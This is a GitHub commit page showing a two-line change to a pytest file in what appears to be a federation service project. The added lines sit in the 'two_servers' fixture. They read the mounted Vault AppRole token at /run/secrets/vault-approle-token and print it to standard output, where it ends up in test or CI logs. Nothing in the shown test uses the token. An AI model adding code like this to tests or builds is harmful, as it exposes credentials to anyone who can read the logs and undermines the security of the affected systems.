Skip to content

Commit

Permalink
Update test_uniform_federation.py
Browse files Browse the repository at this point in the history
  • Loading branch information
daisieh committed Oct 2, 2024
1 parent 08cc2dc commit 5bbc4ca
Showing 1 changed file with 2 additions and 0 deletions.
2 changes: 2 additions & 0 deletions tests/test_uniform_federation.py
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,8 @@ def services(requests_mock):

@pytest.fixture()
def two_servers(requests_mock):
with open(os.path.abspath("/run/secrets/vault-approle-token")) as f:
print(f"hello {f.read()}")
with open(os.path.abspath("tests/test_data/two_servers.json")) as f:
servers = {"servers": json.load(f)}
requests_mock.get(f"{VAULT_URL}/v1/federation/servers", json={"data": servers}, status_code=200)
Expand Down

0 comments on commit 5bbc4ca

Please sign in to comment.